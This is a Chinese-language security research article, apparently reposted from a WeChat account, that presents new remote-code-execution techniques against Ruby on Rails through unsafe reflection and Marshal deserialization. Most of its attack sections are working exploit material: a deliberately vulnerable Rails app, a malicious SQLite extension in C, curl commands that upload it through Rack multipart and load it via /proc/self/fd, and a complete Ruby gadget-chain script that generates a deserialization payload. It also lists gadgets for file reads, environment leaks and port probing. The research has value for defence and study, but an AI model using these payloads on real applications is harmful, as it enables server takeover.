介绍
一个众所周知的安全问题是,在调用 Ruby String#constantize、String#safe_constantize和方法时允许用户控制输入是不安全的,因为Module#const_get这些Module#qualified_const_get方法允许任意加载 Ruby 类。例如,以下代码片段允许攻击者初始化任何类的对象:
vuln_params[:type].constantize.new(*vuln_params[:args])
这种不安全的反射在过去曾导致过代码执行漏洞,Logger因为该类之前使用了 RubyKernel#open方法打开日志文件,因此会初始化一个新对象,如果输入以 开头,则允许执行终端命令|。然而,这种实现 RCE 的方法自 2017 年起就已修补,当时 的使用Kernel#open被改为 ,File.open只允许该类Logger创建文件。
这确实引起了我们的兴趣,即上述危险构造是否仍然会导致在最小安装的 Ruby on Rails 上执行任意代码,这导致我们发现了一种通过gemSQLite3::Database中的类加载 SQLite 扩展库的新方法。经过进一步调查,如果在安装了、和gem的 Rails 应用程序上使用 反序列化用户输入,这个新的反射小工具也可以在新的反序列化小工具链中被利用。sqlite3SQLite3::DatabaseMarshal.loadsqlite3activerecordactivesupport
过去的研究
尽管brakeman有check_unsafe_reflection规则可以检测 Rubyconstantize或类似方法的潜在不安全使用,但各种利用技术相当有限。以下文章是两篇值得注意的调查,它们确定了几个可能被滥用来影响 Ruby/Rails 应用程序的反射小工具:
-
Conviso 对 Rails 应用程序中不安全反射利用的研究重点关注了几种反射小工具,包括Logger自 2017 年以来已修补的命令执行方法。
-
贾斯汀柯林斯 (Justin Collins) 对 Gems 的研究constantize记录了这种不安全的const_missing方法,该方法可能被滥用并导致内存泄漏,其危险性不亚于params[:class].classify.constantize危险构造。
研究范围和测试环境设置
这项研究的重点是调查 Rails 应用程序上用户可控制参数的不安全反射或反序列化是否会导致 RCE。测试是在 Ruby on Rails 的最小和默认安装上进行的,具有以下两个端点,其中以下内容Dockerfile(改编自Luke Jahnke)用于构建 Docker 映像。
-
/reflection:使用用户控制的值的不安全反射来构造新对象。
-
/marshal:使用 对用户可控制值进行不安全的反序列化Marshal.load。
FROM ruby:3.4
RUN gem install rails:8.0.1
RUN rails new vuln_app --minimal --api
WORKDIR vuln_app/
RUN cat <<"EOF" > route_create_template.rb
route 'post "/reflection", to: "vuln#reflection"'
route 'post "/marshal", to: "vuln#marshal"'
EOF
RUN ./bin/rails app:template LOCATION=route_create_template.rb
RUN cat <<"EOF" > app/controllers/vuln_controller.rb
require "base64"
class VulnController < ApplicationController
def reflection
vuln_params[:type].constantize.new(*vuln_params[:args])
render json: {success: true}
end
def marshal
deserialised = Marshal.load(Base64.decode64(vuln_params[:deserialise]))
render json: {data: deserialised.to_s}
end
def vuln_params
params.permit!
end
end
EOF
ENV RAILS_ENV="production"
ENTRYPOINT ["./bin/rails", "server", "--binding=0.0.0.0"]
潜在的 RCE 反射工具
第一个任务是发现已安装的 gem 和 Ruby 中的类,这些类在初始化对象时可能会导致任意代码执行。使用semgrep帮助识别已安装 gem 中危险的 Ruby 方法的使用,提出了 1,000 多个潜在接收器,然后手动调查构造函数的输入参数是否到达接收器。
通过分析,我们发现以下类别被认为是适合进一步调查的候选对象。
RDoc::RI::Driver
- 该
options[:extra_doc_dirs]
选项允许指定用于加载文档的额外文件夹,以初始化一个新RDoc::Store
对象(源)。 - 然后调用
load_cache
该对象的方法,将其附加到然后使用(源)加载的文件夹路径。RDoc::Store
cache.ri
Marshal.load
SQLite3::Database
- 指定在初始化数据库时加载的SQLite 扩展库
options[:extensions]
的附加文件路径(源)。
还发现了以下类中的其他一些有趣的构造函数方法,但由于影响不是代码执行,因此没有进一步分析它们,并总结如下:
Logger
- 可用于在文件系统上创建任意文件,但不能控制文件内容(源)。
- 例子:
Logger.new("create/file/anywhere.txt")
Gem::ConfigFile
- 如果其中一个参数是
--debug
,则它设置$DEBUG=true
(源)。 - 例子:
Gem::ConfigFile.new(["--debug"])
TCPServer
和TCPSocket
- 这两个类都可以通过检测是否引发异常来确定开放的内部端口。
- 例子:
TCPSocket.new("127.0.0.1", 1337)
ActiveRecord::ConnectionAdapters::SQLite3Adapter
- 可被滥用在文件系统上创建任意文件夹。
- 例如:
ActiveRecord::ConnectionAdapters::SQLite3Adapter.new({database: "created/anything"})
将创建文件夹./created
。 ActiveSupport::ConfigurationFile
- 可用于从文件系统读取任意文件,但取决于返回给用户的初始化对象的属性(例如,调用
to_json
方法并在 HTTP 响应中返回)。 - 例子:
ActiveSupport::ConfigurationFile.new("/etc/passwd").to_json
ENV
- 尽管该
ENV
变量是环境变量的哈希类访问器,但根据不安全反射的实现,可能会泄漏环境变量。 - 例子:
"ENV".constantize.to_json
在 Ruby on Rails 上将文件写入文件系统
RDoc::RI::Driver和反射小工具都SQLite3::Database依赖于读取文件系统上用户可控制的文件来利用任意代码执行接收器。问题是测试应用程序没有启用ActiveStorage或任何其他文件上传功能。TCPSocket和TCPServer(以及其他网络类)反射小工具可用于打开文件描述符/proc/self/fd/x,但open系统调用无法打开这些套接字文件。
下一个选项是研究 Ruby on Rails 如何处理multipart/form-data上传文件的请求。在底层,Ruby on Rails 用于Rack处理 Web 请求和响应。以下代码片段rack/blob/main/lib/rack/multipart.rb显示了parse_multipart处理multipart/form-data上传文件请求的方法。
defparse_multipart(env, params = Rack::Utils.default_query_parser)
unless io = env[RACK_INPUT]
raise MissingInputError, "Missing input stream!"
end
if content_length = env['CONTENT_LENGTH']
content_length = content_length.to_i
end
content_type = env['CONTENT_TYPE']
tempfile = env[RACK_MULTIPART_TEMPFILE_FACTORY] || Parser::TEMPFILE_FACTORY
bufsize = env[RACK_MULTIPART_BUFFER_SIZE] || Parser::BUFSIZE
info = Parser.parse(io, content_length, content_type, tempfile, bufsize, params)
env[RACK_TEMPFILES] = info.tmp_files
return info.params
end
深入研究Rack::Multipart::Parser该类,它表明TempFile创建了一个新类,其内容为上传的文件,其默认前缀为RackMultipart。
moduleRack
moduleMultipart
...
classParser
BUFSIZE = 1_048_576
TEXT_PLAIN = "text/plain"
TEMPFILE_FACTORY = lambda { |filename, content_type|
extension = ::File.extname(filename.gsub(" ", '%00'))[0, 129]
Tempfile.new(["RackMultipart", extension])
}
...
可以通过将请求中的文件发送POST到目标 Rails 应用程序,然后观察/tmp文件夹中的临时文件(临时文件的默认位置)来确认这一点。
注意: 端点/在测试应用程序上不存在,但文件仍保存到文件系统。
curl演示上传文件的示例命令
cat hello.txt
# i am in your filesystem :)
curl -F [email protected] http://127.0.0.1:3000/
在 Rails 容器内的文件系统上显示生成的临时文件
root@6986fa9afc11:/tmp# ls -al
total 12
drwxrwxrwt 1 root root 4096 Feb 2514:29 .
drwxr-xr-x 1 root root 4096 Feb 2514:28 ..
-rw------- 1 root root 27 Feb 2514:29 RackMultipart20250225-1-sc9f98.txt
root@6986fa9afc11:/tmp# cat RackMultipart20250225-1-sc9f98.txt
i am in your filesystem :)
root@6986fa9afc11:/tmp#
这种文件上传方法的一个问题是,虽然用户可以控制扩展名值,但无法控制文件名,因此RDoc::RI::Driver小工具不再适合这种情况。这是因为当RDoc::RI::Driver使用该options[:extra_doc_dirs]选项初始化新对象时,它会反序列化cache.ri所提供文件夹中的文件。
另一个问题是确定临时文件名扩展名前的最后六个字符。但是,当创建临时文件时,Rails 进程会打开一个文件描述符,它是指向临时文件的符号链接,其中文件描述符编号比 Ruby 临时文件名更容易枚举。
/proc/self/fd/12显示临时文件的符号链接的示例
root@6986fa9afc11:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 12 Feb 2514:30 .
dr-xr-xr-x 9 root root 0 Feb 2514:28 ..
lrwx------ 1 root root 64 Feb 2514:300 -> /dev/null
l-wx------ 1 root root 64 Feb 2514:301 -> 'pipe:[78561674]'
l-wx------ 1 root root 64 Feb 2514:3010 -> 'pipe:[78556734]'
lrwx------ 1 root root 64 Feb 2514:3012 -> /tmp/RackMultipart20250225-1-sc9f98.txt
l-wx------ 1 root root 64 Feb 2514:302 -> 'pipe:[78561675]'
lrwx------ 1 root root 64 Feb 2514:303 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 2514:304 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 2514:305 -> 'socket:[78556732]'
lr-x------ 1 root root 64 Feb 2514:306 -> 'pipe:[78556733]'
l-wx------ 1 root root 64 Feb 2514:307 -> 'pipe:[78556733]'
lrwx------ 1 root root 64 Feb 2514:308 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 2514:309 -> 'pipe:[78556734]'
root@6986fa9afc11:/proc/1/fd# cat /proc/1/fd/12
i am in your filesystem :)
root@6986fa9afc11:/proc/1/fd#
利用SQLite3::Database反射小工具
为了确认/proc/self/fd/{num}路径是否可以作为 SQLite 扩展加载,首先使用以下源代码和gcc命令编译了一个基本的 POC 库。
C POC 文件将在处创建一个文件/tmp/rce-conf.txt以确认代码执行
#include<unistd.h>
intsqlite3_extension_init(void)
{
system("touch /tmp/rce-conf.txt");
return0;
}
gcc命令来编译恶意 SQLite 扩展
gcc-shared-fPIC-opayload.sopoc.c
将 上传payload.so到应用程序后,Rack 在 处为临时文件打开了一个新的文件描述符/proc/self/fd/13。
root@6986fa9afc11:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 13 Feb 2514:30 .
dr-xr-xr-x 9 root root 0 Feb 2514:28 ..
lrwx------ 1 root root 64 Feb 2514:300 -> /dev/null
l-wx------ 1 root root 64 Feb 2514:301 -> 'pipe:[78561674]'
l-wx------ 1 root root 64 Feb 2514:3010 -> 'pipe:[78556734]'
lrwx------ 1 root root 64 Feb 2514:3012 -> /tmp/RackMultipart20250225-1-sc9f98.txt
lrwx------ 1 root root 64 Feb 2514:3013 -> /tmp/RackMultipart20250225-1-oji5wc.so
l-wx------ 1 root root 64 Feb 2514:302 -> 'pipe:[78561675]'
lrwx------ 1 root root 64 Feb 2514:303 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 2514:304 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 2514:305 -> 'socket:[78556732]'
lr-x------ 1 root root 64 Feb 2514:306 -> 'pipe:[78556733]'
l-wx------ 1 root root 64 Feb 2514:307 -> 'pipe:[78556733]'
lrwx------ 1 root root 64 Feb 2514:308 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 2514:309 -> 'pipe:[78556734]'
root@6986fa9afc11:/proc/1/fd#
最后,当对象初始化时,以下curl命令将/proc/self/fd/13作为 SQLite 扩展加载。SQLite3::Database
curl
-H 'Content-Type: application/json'
-d '{"type": "SQLite3::Database", "args": ["/tmp/rce.db", {"extensions": ["/proc/self/fd/13"]}]}'
http://127.0.0.1:3000/reflection
创建/tmp/rce-conf.txt确认上传的 SQLite 扩展已执行
root@6986fa9afc11:/tmp# ls -al
total 28
drwxrwxrwt 1 root root 4096 Feb 2514:32 .
drwxr-xr-x 1 root root 4096 Feb 2514:28 ..
-rw------- 1 root root 15560 Feb 2514:30 RackMultipart20250225-1-oji5wc.so
-rw------- 1 root root 27 Feb 2514:29 RackMultipart20250225-1-sc9f98.txt
-rw-r--r-- 1 root root 0 Feb 2514:32 rce-conf.txt
-rw-r--r-- 1 root root 0 Feb 2514:31 rce.db
root@6986fa9afc11:/tmp#
这证实了任何sqlite3安装了 gem(默认安装)的 Rails 应用程序,如果允许不安全地反射用户输入,都可能导致 RCE。 Rack攻击者可以使用文件路径将恶意 SQLite 扩展上传到文件系统,该扩展在构造SQLite3::Database对象期间加载/proc/self/fd/x,而外部攻击者可以轻松枚举该扩展。
将SQLite3::Database反射小工具适配为反序列化小工具
下一个挑战是调查是否SQLite3::Database可以利用反序列化小工具链中的对象来实现 Rails 应用程序的 RCE。第一步是确认SQLite3::Database对象是否可以序列化,不幸的是,情况并非如此,如下面的屏幕截图所示。
然而,我们发现,当调用该方法时,该类ActiveRecord::ConnectionAdapters::SQLite3Adapter会初始化一个新SQLite3::Database对象connect!,如下面的代码片段所示。
...
moduleActiveRecord
moduleConnectionAdapters# :nodoc:
# = Active Record SQLite3 Adapter
#
# The SQLite3 adapter works with the sqlite3[https://sparklemotion.github.io/sqlite3-ruby/]
# driver.
#
# Options:
#
# * +:database+ (String): Filesystem path to the database file.
# * +:statement_limit+ (Integer): Maximum number of prepared statements to cache per database connection. (default: 1000)
# * +:timeout+ (Integer): Timeout in milliseconds to use when waiting for a lock. (default: no wait)
# * +:strict+ (Boolean): Enable or disable strict mode. When enabled, this will
# {disallow double-quoted string literals in SQL
# statements}[https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted].
# (default: see strict_strings_by_default)
# * +:extensions+ (Array): (<b>requires sqlite3 v2.4.0</b>) Each entry specifies a sqlite extension
# to load for this database. The entry may be a filesystem path, or the name of a class that
# responds to +.to_path+ to provide the filesystem path for the extension. See {sqlite3-ruby
# documentation}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#class-SQLite3::Database-label-SQLite+Extensions]
# for more information.
#
# There may be other options available specific to the SQLite3 driver. Please read the
# documentation for
# {SQLite::Database.new}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#method-c-new]
#
classSQLite3Adapter < AbstractAdapter
ADAPTER_NAME = "SQLite"
class << self
defnew_client(config)
::SQLite3::Database.new(config[:database].to_s, config)
rescue Errno::ENOENT => error
...
end
...
end
...
defconnect
@raw_connection = self.class.new_client(@connection_parameters)
rescue ConnectionNotEstablished => ex
raise ex.set_pool(@pool)
end
...
end
ActiveSupport.run_load_hooks(:active_record_sqlite3adapter, SQLite3Adapter)
end
end
使用这个臭名昭著的ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy小工具,反序列化DeprecatedInstanceVariableProxy对象可用于调用connect!反序列化对象的方法ActiveRecord::ConnectionAdapters::SQLite3Adapter,2013 年 Hailey Somerville 首次利用该方法利用 CVE-2013-0156 漏洞。自 2013 年起,该DeprecatedInstanceVariableProxy小工具现在需要@deprecator设置实例变量,否则在执行反序列化负载之前会引发异常。
将所有这些点整合到一个工具链中,开发了以下概念验证脚本:
# usage: ruby sqlite-marshal-poc.rb {fd}
# example: ruby sqlite-marshal-poc.rb 13
require"base64"
require"concurrent"
classActiveRecord
classConnectionAdapters
classSQLite3Adapter
definitialize(...)
@connection_parameters = nil
@config = nil
@lock = nil
end
end
end
end
classActiveSupport
classConcurrency
moduleNullLock
end
end
classDeprecation
definitialize()
@gem_name="Rails"
@deprecation_horizon="8.1"
@silenced=false
@debug=false
@silence_counter=Concurrent::ThreadLocalVar.new(0)
@default_block=nil
@default=0
@index=21
@explicitly_allowed_warnings=Concurrent::ThreadLocalVar.new(nil)
@default_block=nil
@default=nil
@index=22
end
classDeprecatedInstanceVariableProxy
definitialize(instance, method)
@instance = instance
@method = method
end
end
end
end
fd = ARGV[0]
if fd == nil
abort("Need to set target fd")
end
adptr = ActiveRecord::ConnectionAdapters::SQLite3Adapter.allocate
adptr.instance_variable_set("@connection_parameters", {database:"/tmp/r.db", extensions: ["/proc/self/fd/#{fd}"]})
adptr.instance_variable_set("@config", {connection_retries:1, database:":memory:"})
adptr.instance_variable_set("@lock", ActiveSupport::Concurrency::NullLock)
depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, adptr
depr.instance_variable_set :@method, :connect!
depr.instance_variable_set :@var, "@connect!"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new
payload = Base64.encode64(Marshal.dump(depr)).gsub("n", "")
puts payload
为了演示这个新的反序列化有效载荷,将上一节中的相同内容payload.so上传到打开文件描述符的测试应用程序/proc/self/fd/12。
root@f843c5a7802e:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 12 Feb 2712:11 .
dr-xr-xr-x 9 root root 0 Feb 2712:10 ..
lrwx------ 1 root root 64 Feb 2712:110 -> /dev/null
l-wx------ 1 root root 64 Feb 2712:111 -> 'pipe:[83117945]'
l-wx------ 1 root root 64 Feb 2712:1110 -> 'pipe:[83121125]'
lrwx------ 1 root root 64 Feb 2712:1112 -> /tmp/RackMultipart20250227-1-9ni25f.so
l-wx------ 1 root root 64 Feb 2712:112 -> 'pipe:[83117946]'
lrwx------ 1 root root 64 Feb 2712:113 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 2712:114 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 2712:115 -> 'socket:[83080004]'
lr-x------ 1 root root 64 Feb 2712:116 -> 'pipe:[83121124]'
l-wx------ 1 root root 64 Feb 2712:117 -> 'pipe:[83121124]'
lrwx------ 1 root root 64 Feb 2712:118 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 2712:119 -> 'pipe:[83121125]'
root@f843c5a7802e:/proc/1/fd#
然后,以下curl命令利用测试应用程序端点Marshal.load上的漏洞,导致加载 SQLite 扩展的对象/marshal初始化。SQLite3::Database
curl -H 'Content-Type: application/json'
-d '{"deserialise":"'$(ruby sqlite-marshal-poc.rb 12 | tr -d 'n')'"}'
http://127.0.0.1:3000/marshal
再次,/tmp/rce-conf.txt文件的创建确认 SQLite 扩展已成功执行,从而确认了 RCE。
root@f843c5a7802e:/tmp# ls -al
total 24
drwxrwxrwt 1 root root 4096 Feb 2712:20 .
drwxr-xr-x 1 root root 4096 Feb 2712:10 ..
-rw------- 1 root root 15560 Feb 2712:11 RackMultipart20250227-1-9ni25f.so
-rw-r--r-- 1 root root 0 Feb 2712:20 r.db
-rw-r--r-- 1 root root 0 Feb 2712:20 rce-conf.txt
root@f843c5a7802e:/tmp#
sqlite3任何允许对用户控制输入进行不安全反序列化并安装了、activerecord和gem的 Rails 应用程序均可利用此新小工具链实现 RCE activesupport;在 Ruby on Rails 的最小安装中,这三种 gem 均默认安装。考虑到此小DeprecatedInstanceVariableProxy工具自 2013 年起就已为人所知,再加上此小工具链利用了允许在初始化数据库连接时加载 SQLite3 扩展的合法要求,因此推测此小工具链可能在一段时间内可行。
结论
SQLite3::Database本文演示的反射小工具表明,如果安装了 gem(默认情况下安装在 Rails 的最小安装中),不安全的 Ruby 反射和使用用户输入构造新对象仍可能导致任意代码执行。sqlite3此外,本文还展示了一种/tmp通过滥用 Rack 的文件上传解析并通过访问文件内容来将文件写入文件夹的方法/proc/self/fd/x,该方法可用于利用依赖于 Rails 应用程序上的文件写入的其他漏洞。
通过对反射小工具的研究,我们发现了一个新的小工具链,如果安装了和gems,SQLite3::Database则可以利用它来实现 RCE ,而它们在 Ruby on Rails 上是默认安装的。activerecordactivesupport
总之,这项研究可能会导致在 Rails 应用程序上再次发现新的 RCE 漏洞,这些漏洞会反映或反序列化用户可控制的输入。
感谢您抽出
.
.
来阅读本文
点它,分享点赞在看都在这里
原文始发于微信公众号(Ots安全):利用不安全的反射和反序列化在 Rails 上进行 RCE 的新方法
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论